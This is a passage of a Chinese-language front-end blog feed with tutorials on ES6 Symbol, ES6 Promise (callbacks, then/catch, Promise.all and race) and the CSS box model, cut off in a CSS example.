world"</span>})</span><br></pre></td></tr></table></figure><p>需要注意的是,对象以<code>symbol</code>作为属性名时,访问这个属性必须要使用方括号形式,而不能使用点运算符形式,因为点运算符会始终使用它后面跟随属性名的字符串形式值。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">obj[star] <span class="comment">//'hello symbol'</span></span><br><span class="line">obj.star <span class="comment">// undefined</span></span><br><span class="line">obj[<span class="string">'star'</span>] <span class="comment">//undefined</span></span><br></pre></td></tr></table></figure><p>另外,对象以<code>symbol</code>作为属性名时,该属性依然是公开属性,但不会被<code>for...in</code>,<code>for...of</code>循环到,也不会被<code>Object.keys()</code>,<code>Object.getOwnPropertyNames()</code>,<code>JSON.stringify()</code>返回。</p><p>要想遍历出对象属性名为<code>symbol</code>值类型的属性,需要使用<code>Object.getOwnPropertySymbols()</code>方法,它返回所有<code>symbol</code>类型属性名的一个数组。</p><h4 id="作为常量使用"><a href="#作为常量使用" class="headerlink" title="作为常量使用"></a>作为常量使用</h4><p>很多时候,我们需要为对象设置一系列属性用于对应不同的类型,在使用时,我们并不在意这些属性的具体值,只需要保证它们是可区分的各自唯一值即可。此时我们可以使用<code>symbol</code>作为我们的属性值,从而保证多个属性值间的唯一性。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> type = {</span><br><span class="line"> car: <span class="built_in">Symbol</span>(<span class="string">'car'</span>),</span><br><span class="line"> bicycle: <span class="built_in">Symbol</span>(<span class="string">'bicycle'</span>),</span><br><span class="line"> plane: <span class="built_in">Symbol</span>(<span class="string">'plane'</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">traffic</span>(<span class="params">yourTraffic</span>)</span>{</span><br><span class="line"> <span class="keyword">if</span>(yourTraffic === type.car){...}</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(yourTraffic === type.bicycle){...}</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(yourTraffic === type.plane){...}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这样,我们就不需要使用一堆字符串,来区分对象多个属性之间的值了。</p><h3 id="Symbol的静态方法"><a href="#Symbol的静态方法" class="headerlink" title="Symbol的静态方法"></a><strong><em>Symbol</em></strong>的静态方法</h3><p><code>Symbol</code>有两个方法,分别是<code>Symbol.for(key)</code> 和 <code>Symbol.keyFor(sym)</code>。</p><h4 id="Symbol-for-key"><a href="#Symbol-for-key" class="headerlink" title="Symbol.for(key)"></a><strong><em>Symbol.for(key)</em></strong></h4><p><code>Symbol.for(key)</code>方法同样是用于创建一个<code>symbol</code>值,但它接受一个<code>key</code>值。如果我们使用相同的<code>key</code>创建过一个<code>symbol</code>值,它就会直接返回这个<code>symbol</code>值,否则就会将创建一个新的以<code>key</code>为索引登记在全局注册表中的<code>symbol</code>值。</p><p><code>Symbol</code>的全局注册表,就是使用<code>Symbol.for(key)</code>方法创建的所有<code>symbol</code>的登记薄,它存在于全局环境,甚至可以跨越<code>iframe</code>的限制。为我们复用具有唯一性的<code>symbol</code>值提供了非常好的支持。</p><p>需要注意,使用<code>Symbol()</code>创建的<code>symbol</code>是不会被登记到全局注册表的,它每次都返回一个新的<code>symbol</code>值。</p><h4 id="Symbol-keyFor-sym"><a href="#Symbol-keyFor-sym" class="headerlink" title="Symbol.keyFor(sym)"></a><strong><em>Symbol.keyFor(sym)</em></strong></h4><p>很显然,这个方法就是<code>Symbol.for(key)</code>的逆方法,它接受一个<code>symbol</code>值作为参数,并返回这个<code>symbol</code>在全局注册表中对应的<code>key</code>值。如果没有对应的<code>key</code>,它就返回个<code>undefine</code>(要不它还能返回什么。。。?</p><p>通过这两个方法的相互配合,我们对<code>Symbol</code>的基本使用能够形成一个闭环。</p><h3 id="Symbol的静态属性"><a href="#Symbol的静态属性" class="headerlink" title="Symbol的静态属性"></a><strong><em>Symbol</em></strong>的静态属性</h3><p><code>Symbol</code>的静态属性,主要用来提供给我们一些操纵<code>js</code>内部语言行为的一些接口。例如<code>Symbol.replace</code>,就是用于修改字符串的<code>String.prototype.replace()</code>方法的。当一个对象被<code>String.prototype.replace()</code>方法调用时,会使用对象的<code>Symbol.replace</code>属性对应的方法代替。从而达到修改<code>js</code>内部语言实现的目的。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> aStr = <span class="string">'some string'</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">String</span>.prototype.search(aStr,<span class="string">'some'</span>)</span><br><span class="line"><span class="comment">//等于以下代码</span></span><br><span class="line">aStr[<span class="built_in">Symbol</span>.replace](<span class="keyword">this</span>,<span class="string">'some'</span>)</span><br></pre></td></tr></table></figure><p>具体的,我们就可以写出下面这样的代码。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> x = {};</span><br><span class="line"></span><br><span class="line"><span class="comment">//我们可以修改replace的行为</span></span><br><span class="line">x[<span class="built_in">Symbol</span>.replace] = <span class="function">(<span class="params">str,newstr</span>) =></span> {<span class="built_in">console</span>.log(str,newstr)}</span><br><span class="line"></span><br><span class="line"><span class="string">"hello"</span>.replace(x,<span class="string">"world"</span>) <span class="comment">//hello</span></span><br></pre></td></tr></table></figure><p>当然,这种<code>Symbol</code>的使用方式很少被用到,所以在此也不再赘述。有想要了解的同学,为大家提供以下两个链接来对<code>Symbol</code>做更深入的学习。</p><ul><li><a href="http://es6.ruanyifeng.com/#docs/symbol" target="_blank" rel="noopener">ECMAScript 6 入门 – Symbol 阮一峰</a></li><li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Symbol" target="_blank" rel="noopener">MDN 文档 Symbol</a></li></ul><p>好啦,关于<code>ES6</code>的<code>Symbol</code>就为大家介绍到这里啦。谢谢,鞠躬退场^-^。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> ES6 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> ES6 </tag>
</tags>
</entry>
<entry>
<title>ES6之Promise</title>
<link href="/2018/04/20/es6-Promise/"/>
<url>/2018/04/20/es6-Promise/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>随着<code>JS</code>在服务端的发展(例如<code>Node</code>),在处理数据库事务,操作文件等需要异步操作的地方,回调函数的缺点随着异步操作的复杂越来越明显,使用回调函数也越来越难以满足开发需要。</p><p>为了解决回调函数的种种缺点,使包含异步操作的代码更简洁和具有可读性,ES6提出了<code>Promise</code>的实现。</p></blockquote><a id="more"></a><h3 id="回调函数"><a href="#回调函数" class="headerlink" title="回调函数"></a>回调函数</h3><p>为了不在进行表单检查,操作<code>DOM</code>等情况时阻塞页面,<code>JS</code>包含了大量的异步操作,随之诞生的就是回调函数。</p><p>回调函数是<code>JavaScript</code>中约定的一个俗称,指那些需要异步操作完成后才会进行调用的函数。主要用在那些需要花费时间,但又不能一直阻塞代码执行的情况,例如<code>Ajax</code> 和 <code>File</code>操作。</p><p>我们常见的<code>jQuery</code>库中的<code>ajax</code>相关<em>API</em>就是回调函数应用的一个比较显著的例子</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$.get(<span class="string">'ajax/test.html'</span>,<span class="function"><span class="keyword">function</span>(<span class="params">data</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> somehtml =data;</span><br><span class="line">})</span><br><span class="line"><span class="comment">//在上面代码中,ajax请求就是一个需要耗费时间的操作。</span></span><br><span class="line"><span class="comment">//我们通过回调函数,来在这个操作完成后,进行相应的处理,却不阻塞代码的继续运行。</span></span><br></pre></td></tr></table></figure><p>但是回调函数也存在以下的一些缺点:</p><ul><li>著名的 <strong><em>callback hell</em></strong> 回调地狱,在进行多个顺序依赖的异步操作时,很多个回调函数,一层层嵌套,导致代码可读性极低,不利于阅读和维护。</li><li>调用函数和回调函数并不会在同一个堆栈中运行,这会导致我们无法对回调函数内部发生的异常进行<code>try-catch</code>和准确定位,无法使用<code>throw</code>抛出异常,无法使用<code>return</code>终止函数的调用等问题。</li><li>回调函数使用了<code>JS</code>闭包,在比较复杂的项目环境时,容易出现变量污染等难以定位和调试的问题</li></ul><p>正是由于回调函数的这些缺点,<code>Promise</code>应运而生。</p><h3 id="promise的创建和使用"><a href="#promise的创建和使用" class="headerlink" title="promise的创建和使用"></a><code>promise</code>的创建和使用</h3><p>在<code>ES6</code>中被实现的<code>Promise</code>,主要用途就是进行异步计算,通过将异步操作队列化,使其按我们期望的顺序执行,并返回我们期望的结果。</p><h4 id="创建promise对象"><a href="#创建promise对象" class="headerlink" title="创建promise对象"></a>创建<code>promise</code>对象</h4><p>我们可以通过<code>Promise</code>这个原生构造函数来创建一个<code>promise</code>。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> promise = <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="keyword">function</span>(<span class="params">resolve,reject</span>)</span>{</span><br><span class="line"> <span class="comment">//....异步操作</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="comment">/*success*/</span>){</span><br><span class="line"> <span class="comment">//...执行代码</span></span><br><span class="line"> resolve(result)</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">//...执行代码</span></span><br><span class="line"> reject(error)</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>构造函数<code>Promise</code>接受一个函数作为参数,这个函数有两个参数<code>resolve</code>和<code>reject</code>(可省略),这两个参数都是<code>Promise</code>对象的方法。</p><p>使用<code>new Promise()</code> 创建的<code>promise</code>对象有三个状态:</p><ul><li><strong><em>Pending</em></strong> <code>promise</code>对象刚被创建后的初始状态</li><li><strong><em>Fullfilled</em></strong> 异步操作成功状态,可使用<code>resolve</code>方法将<code>promise</code>置为此状态并将异步操作的结果传递出去</li><li><strong><em>Rejected</em></strong> 异步操作失败状态,可使用<code>reject</code>方法将<code>promise</code>置为此状态并将异步操作的错误传递出去</li></ul><p><em><code>promise</code></em>的状态改变是不可逆的,也就是说,从初始化状态 <strong><em>Pending</em></strong> 转换为 <strong><em>Fullfilled</em></strong> 或 <strong><em>Rejected</em></strong> 后,<code>promise</code>的状态就不会再改变了。</p><h4 id="promise-then"><a href="#promise-then" class="headerlink" title="promise.then()"></a><code>promise.then()</code></h4><p>在<code>Promise</code>对象的的创建中我们提到通过<code>resolve</code>方法传递结果和通过<code>reject</code>方法传递错误,那想要接收这些结果和错误,就需要用到<code>promise</code>对象的<code>then()</code>方法了:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">promise.then(onFulfilled,onRejected)</span><br><span class="line"></span><br><span class="line"><span class="comment">//两个参数均为可选参数,可选择只传入任意一个</span></span><br><span class="line">promise.then(onFulfilled)</span><br><span class="line">promise.then(undefine,onRejected)</span><br></pre></td></tr></table></figure><p><code>.then</code>接受两个函数作为参数。这两个函数参数都是可选的。</p><ul><li><code>onFulfilled</code>在<code>promise</code>对象通过<code>resolve</code>将状态置为<code>Fulfilled</code>时会被调用,接受<code>resolve</code>传递过来的结果作为函数参数。</li><li><code>onRejected</code>在<code>promise</code>对象通过<code>reject</code>将状态置为<code>Rejected</code>时会被调用,接受<code>reject</code>传递过来的错误作为函数参数。</li></ul><p><code>.then</code>的参数函数的<strong>显式返回值</strong>会被包装为一个同样具有<code>.then</code>方法的新的<code>promise</code>对象,下一个<code>.then</code> 的<code>onFulfilled</code>和<code>onRejected</code>针对这个<code>promise</code>对象遵循相同的调用方式,从而实现<code>.then</code>的链式调用。</p><blockquote><p>使用<code>.then</code> 来进行异常处理时,可使用<code>promise.then(undefine,onRejected)</code>,只指定<code>reject</code>时的处理函数。</p><p>但其实更好的办法是使用<code>promise.catch(onRejected)</code> 这个专门用于处理异常的<code>promise</code>方法。它的优势在于在链式调用<code>.then</code>时,它可以捕捉到前面所有<code>then</code>中传递出的异常。</p><p>但要注意的是,除非<code>.then()</code> 和 <code>.catch()</code>内部抛出异常或使用了<code>rejecte()</code>将状态置为<code>rejected</code>,他们都会返回<code>Fulfilled</code>态的<code>promise</code>对象。</p></blockquote><h4 id="一个Promise的基本例子"><a href="#一个Promise的基本例子" class="headerlink" title="一个Promise的基本例子"></a>一个<code>Promise</code>的基本例子</h4><p>我们通过使用<code>promise</code>来实现一个类似<strong><em>jQuery</em></strong><code>$.get()</code>的函数,从而对以上介绍能有更直观的认识:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getUrl</span>(<span class="params">url</span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="keyword">function</span>(<span class="params">resolve,reject</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> req = <span class="keyword">new</span> XMLHttpRequest();</span><br><span class="line"> req.open(<span class="string">'GET'</span>,url,<span class="literal">true</span>);</span><br><span class="line"> req.onload = <span class="function"><span class="params">()</span>=></span>{</span><br><span class="line"> <span class="keyword">if</span>(req.status === <span class="number">200</span>){</span><br><span class="line"> <span class="comment">//当请求成功时调用 resolve来将结果传递出去</span></span><br><span class="line"> resolve(req.responseText)</span><br><span class="line"> } <span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//当请求结果跟预期不符时使用 reject 传递一个错误</span></span><br><span class="line"> reject(<span class="keyword">new</span> <span class="built_in">Error</span>(req.statusText))</span><br><span class="line"> }</span><br><span class="line"> };</span><br><span class="line"> <span class="comment">//当请求发生错误时同样使用 reject 传递一个错误</span></span><br><span class="line"> req.onerror = <span class="function"><span class="params">()</span>=></span>{</span><br><span class="line"> reject(<span class="keyword">new</span> <span class="built_in">Error</span>(req.statusText))</span><br><span class="line"> };</span><br><span class="line"> req.send();</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> URL = <span class="string">"http://someaddress.com/get"</span></span><br><span class="line"><span class="comment">//使用 .then 来接受包裹了异步操作的 promise 对象所传递出的结果</span></span><br><span class="line">getUrl(URL).then(<span class="function"><span class="keyword">function</span> <span class="title">onFulfilled</span>(<span class="params">resolve_value</span>)</span>{</span><br><span class="line"> <span class="comment">//为了方便理解我们把函数命名为 onFulfilled</span></span><br><span class="line"> <span class="comment">//请求成功时传递的结果</span></span><br><span class="line"> <span class="built_in">console</span>.log(resolve_value);</span><br><span class="line">}).catch(<span class="function"><span class="keyword">function</span> <span class="title">onRejected</span>(<span class="params">reject_error</span>)</span>{</span><br><span class="line"> <span class="comment">//为了方便理解我们把函数命名为 onRejected</span></span><br><span class="line"> <span class="comment">//请求失败时传递的错误</span></span><br><span class="line"> <span class="built_in">console</span>.error(reject_error)</span><br><span class="line">})</span><br></pre></td></tr></table></figure><h4 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h4><p>通过以上的介绍和代码,我们就知道了<code>promise</code>的基本使用方法:</p><ul><li>使用 <code>new Promise</code> 创建<code>promise</code>对象,使用<code>resolve</code>和<code>reject</code>传递异步结果。</li><li>使用 <code>.then</code> 或 <code>.catch</code> 对<code>promise</code>对象传递出的结果进行处理。</li></ul><h3 id="Promise的静态方法"><a href="#Promise的静态方法" class="headerlink" title="Promise的静态方法"></a><code>Promise</code>的静态方法</h3><p><code>Promise</code> 提供了几个静态方法,用于辅助我们使用<code>Promise</code>。</p><h4 id="Promise-resolve"><a href="#Promise-resolve" class="headerlink" title="Promise.resolve()"></a><strong><em>Promise.resolve()</em></strong></h4><p><code>Promise.resolve()</code>也是用于创建一个<code>promise</code>对象,可以认为是如下形式的<code>new Promise()</code>:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.resolve(<span class="string">'200'</span>)</span><br><span class="line"><span class="comment">//相当于</span></span><br><span class="line"><span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="keyword">function</span>(<span class="params">resolve</span>)</span>{</span><br><span class="line"> resolve(<span class="string">'200'</span>)</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>对于<code>Promise.resolve()</code>,它总是返回一个<code>promise</code>对象,并且会将<code>promise</code>对象立刻置为<code>resolved</code>状态(除非解析发生错误或传入了状态为<code>rejected</code>的<code>promise</code>对象),进而触发后续<code>then()</code>中的<code>onFulfilled</code>函数。</p><p>有以下几点需要注意:</p><ul><li>如果传递给<code>Promise.resolve()</code>的参数为一个直接的值,它会把它包装为<code>promise</code>对象返回,下一个<code>.then</code>的<code>onfulfilled</code>函数会立即获得这个值,但<strong>仍然是异步的</strong>。</li><li>如果传递给 <code>Promise.resolve()</code> 的参数为一个<code>promise</code>对象,它不会做任何处理,而是直接返回传入的<code>promise</code>对象。</li><li>如果传递给<code>Promise.resolve()</code>的参数为一个具有<code>.then</code>方法的对象,它会将其包装为一个<code>promise</code>对象返回,并立即执行它的<code>then</code>方法。</li><li><code>Promise.then()</code>中的 <code>onFulfilled</code>函数的显式返回值,即是通过<code>Promise.resolve()</code>包装为<code>promise</code>对象供后续的<code>then</code>使用的。</li></ul><h4 id="Promise-reject"><a href="#Promise-reject" class="headerlink" title="Promise.reject()"></a><strong><em>Promise.reject()</em></strong></h4><p>与<code>Promise.resolve()</code>类似,<code>Promise.rejct()</code>也是用于创建一个<code>promise</code>对象,可以认为是如下形式的<code>new Promise()</code>:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Promise</span>.reject(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'错误'</span>))</span><br><span class="line"><span class="comment">//相当于</span></span><br><span class="line"><span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="keyword">function</span>(<span class="params">null,reject</span>)</span>{</span><br><span class="line"> reject(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'错误'</span>))</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>对于<code>Promise.reject()</code>,它总是返回一个<code>promise</code>对象,并且会将这个<code>promise</code>对象立刻置为<code>rejected</code>状态,进而触发后续<code>then()</code>中的<code>onRejected</code>函数。</p><h4 id="Promise-all"><a href="#Promise-all" class="headerlink" title="Promise.all()"></a><strong><em>Promise.all()</em></strong></h4><p><code>Promise.all()</code>接受一个<code>promise</code>对象的数组作为参数,它会将数组中所有<code>promise</code>对象实例包装为一个新的<code>promise</code>对象。</p><p>这个新<code>promise</code>对象的状态由数组中所有<code>promise</code>对象的状态来决定。当数组中所有对象都<code>resolved</code>时,它也会转换为<code>resolved</code>状态。当数组中有一个对象转换为<code>rejected</code>状态时,它就会转换为<code>rejected</code>状态。</p><p>这个新<code>promise</code>对象的结果为传入数组中各个<code>promise</code>的结果组成的一个数组。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> promise_arr = arr.map(<span class="function"><span class="keyword">function</span>(<span class="params">x</span>)</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="keyword">function</span>(<span class="params">resolve, reject</span>)</span>{</span><br><span class="line"> resolve(<span class="number">5</span>*x);</span><br><span class="line"> });</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"><span class="built_in">Promise</span>.all(promise_arr).then(<span class="function"><span class="keyword">function</span>(<span class="params">result</span>)</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(result); <span class="comment">//[5,10,15]</span></span><br><span class="line">})</span><br></pre></td></tr></table></figure><blockquote><p>需要注意的是,<code>Promise.all()</code> 参数数组中所有<code>promise</code>对象包裹的异步操作都是并发执行的,他们的结果互不干扰互不依赖。</p><p>如果想实现队列型的异步操作,应该使用链式调用<code>.then()</code>的方式来实现。</p></blockquote><h4 id="Promise-race"><a href="#Promise-race" class="headerlink" title="Promise.race()"></a><strong><em>Promise.race()</em></strong></h4><p><code>Promise.race()</code> 和 <code>Promise.all()</code>一样,也是接受一个<code>promise</code>对象的数组,将数组中的所有<code>promise</code>对象包装为一个新的<code>promise</code>对象。</p><p>但不同的是,这个新<code>promise</code>对象的状态由数组中率先发生状态变化的<code>promise</code>对象来决定(<strong><em>race</em></strong> 也就是赛跑的意思)。当数组中第一个发生状态变化的对象转换为<code>resolved</code>时,它也会转换为<code>resolved</code>状态。当数组中第一个发生状态变化的对象转换为<code>rejected</code>状态时,它也会转换为<code>rejected</code>状态。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> p1 = <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>)=></span>{</span><br><span class="line"> setTimeout(resolve,<span class="number">300</span>,<span class="string">'p1 finish'</span>);</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> p1 = <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>)=></span>{</span><br><span class="line"> setTimeout(resolve,<span class="number">100</span>,<span class="string">'p2 finish'</span>);</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> p1 = <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve,reject</span>)=></span>{</span><br><span class="line"> setTimeout(reject,<span class="number">200</span>,<span class="string">'p3 finish'</span>);</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="built_in">Promise</span>.race([p1,p2,p3]).then(<span class="function">(<span class="params">result</span>)=></span>{</span><br><span class="line"> <span class="comment">//p2 最快(很明显)</span></span><br><span class="line"> <span class="built_in">console</span>.log(result) <span class="comment">//p2 finshed</span></span><br><span class="line">}).catch(<span class="function">(<span class="params">err</span>)=></span>{</span><br><span class="line"> <span class="built_in">console</span>.log(err); <span class="comment">//并不会执行</span></span><br><span class="line">})</span><br></pre></td></tr></table></figure><blockquote><p>需要注意的是, <code>Promise.race</code>在第一个promise对象改变状态之后,是不会去取消其他promise对象的执行的。</p></blockquote><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>以上就是关于<code>ES6</code>中<code>Promise</code>的一些知识,在看完这篇文章之后,大家应该对<code>Promise</code>有了比较清晰的了解和认识。</p><p>但本人才疏学浅,错误和遗漏在所难免。如果想要进一步深入的学习<code>Promise</code>,为大家提供以下两个文章链接,供大家继续深入的了解和学习<code>promise</code>的相关知识:</p><ul><li><a href="http://fex.baidu.com/blog/2015/07/we-have-a-problem-with-promises/" target="_blank" rel="noopener">We have a problem with promises</a></li><li><a href="http://liubin.org/promises-book/#introduction" target="_blank" rel="noopener">Promise 迷你书(中文版)</a></li></ul><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> ES6 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> ES6 </tag>
</tags>
</entry>
<entry>
<title>CSS盒模型详解</title>
<link href="/2018/04/12/css-box/"/>
<url>/2018/04/12/css-box/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p><code>CSS</code>盒模型作为前端面试中经常出现的问题,因为涉及到浏览器表现,页面布局,兼容,<code>CSS3</code>等前端多个重要领域,还是比较考验前端水平的。</p><p>在这篇博客中,对<code>CSS</code> 盒模型进行了一些介绍总结,涉及到的都是跟盒模型关系密切的一些知识点。</p></blockquote><a id="more"></a><h3 id="盒模型概述"><a href="#盒模型概述" class="headerlink" title="盒模型概述"></a>盒模型概述</h3><p>在<code>HTML</code>中,所有元素(除了图片和表单元素)都是按照盒模型(<strong><em>box model</em></strong>)的标准来进行排版和布局的。也就是说,除了内部无法再包含其他元素的图片和表单元素(这两者本质上都是作为其他内容占位符的替换元素),其他所有的<code>HTML</code>元素,如 <code><div></code> ,<code><span></code> ,<code><a></code> 元素,均相当于一个个盒子,堆叠嵌套,形成了我们看到的网页。</p><p>对应元素的每个盒子的具体表现,主要取决于元素的以下几个属性:</p><ul><li>边距<code>margin</code></li><li>边框 <code>border</code></li><li>填充 <code>padding</code></li><li>宽 <code>width</code> 和高<code>height</code></li></ul><p>元素在布局时,会根据以上几个属性来确定盒模型的宽高,即元素实际占据的宽高,从而完成布局。</p><h3 id="盒模型模式"><a href="#盒模型模式" class="headerlink" title="盒模型模式"></a>盒模型模式</h3><p>在根据以上几个属性来确定盒模型宽高时,存在两个计算标准,也可以说是两种模式。</p><p>一种是<code>W3C</code>规定的计算标准,又称为<strong>标准盒模型模式</strong>,另一种是 微软<code>IE</code> 规定的计算标准,又称为 <strong><code>IE</code>怪异盒模型模式</strong>。</p><h4 id="标准盒模型"><a href="#标准盒模型" class="headerlink" title="标准盒模型"></a>标准盒模型</h4><p><code>W3C</code>规定,元素的<code>width</code> 和 <code>height</code> 属性,表示的是元素内容 <code>content</code>的宽高,不包括元素的<code>padding</code>和 <code>border</code>。因此,在<code>W3C</code>的标准中,元素盒模型的宽高计算方式为:</p><blockquote><p>盒模型高 = 元素height + 上下padding之和 + 上下border之和 + 上下margin之和</p><p>盒模型宽 = 元素width + 左右padding之和 + 左右border之和 + 左右margin之和</p></blockquote><p>同时在标准盒模型下,元素以下各项与宽高有关的属性,控制的都是元素<code>content</code>的大小:</p><ul><li><code>height</code></li><li><code>width</code></li><li><code>min-height</code></li><li><code>min-width</code></li><li><code>max-height</code></li><li><code>max-width</code></li></ul><p>在这种模式下,元素的<code>width</code>和<code>height</code>确定时,我们对<code>padding</code>和<code>border</code>的修改,会导致盒模型的宽高相应变化,也就是元素在页面中的真实占据宽高变化。</p><h4 id="IE怪异盒模型"><a href="#IE怪异盒模型" class="headerlink" title="IE怪异盒模型"></a><code>IE</code>怪异盒模型</h4><p>由于历史遗留问题,在<code>IE</code>浏览器中,元素的<code>width</code>和<code>height</code> 在计算时,不光包括元素的<code>content</code>,还包括了元素的<code>padding</code> 和 <code>border</code>。因此,在<code>IE</code>怪异盒模型模式下,盒模型的宽高计算如下:</p><blockquote><p>盒模型高 = 元素height + 上下margin之和</p><p>盒模型宽 = 元素width + 左右margin之和</p></blockquote><p>在这种模式下,元素的<code>width</code>和<code>height</code>确定时,我们对<code>padding</code>和<code>border</code>的修改,会导致元素内容区域,也就是<code>content</code>的宽高变化,对元素在页面中的真实占据宽高没有影响。</p><h4 id="两种模式的切换"><a href="#两种模式的切换" class="headerlink" title="两种模式的切换"></a>两种模式的切换</h4><p>以上两种模式,可以通过 <code>CSS3</code>的属性 <code>box-sizing</code> 来进行切换。</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 标准模型 */</span></span><br><span class="line"><span class="selector-tag">box-sizing</span>: <span 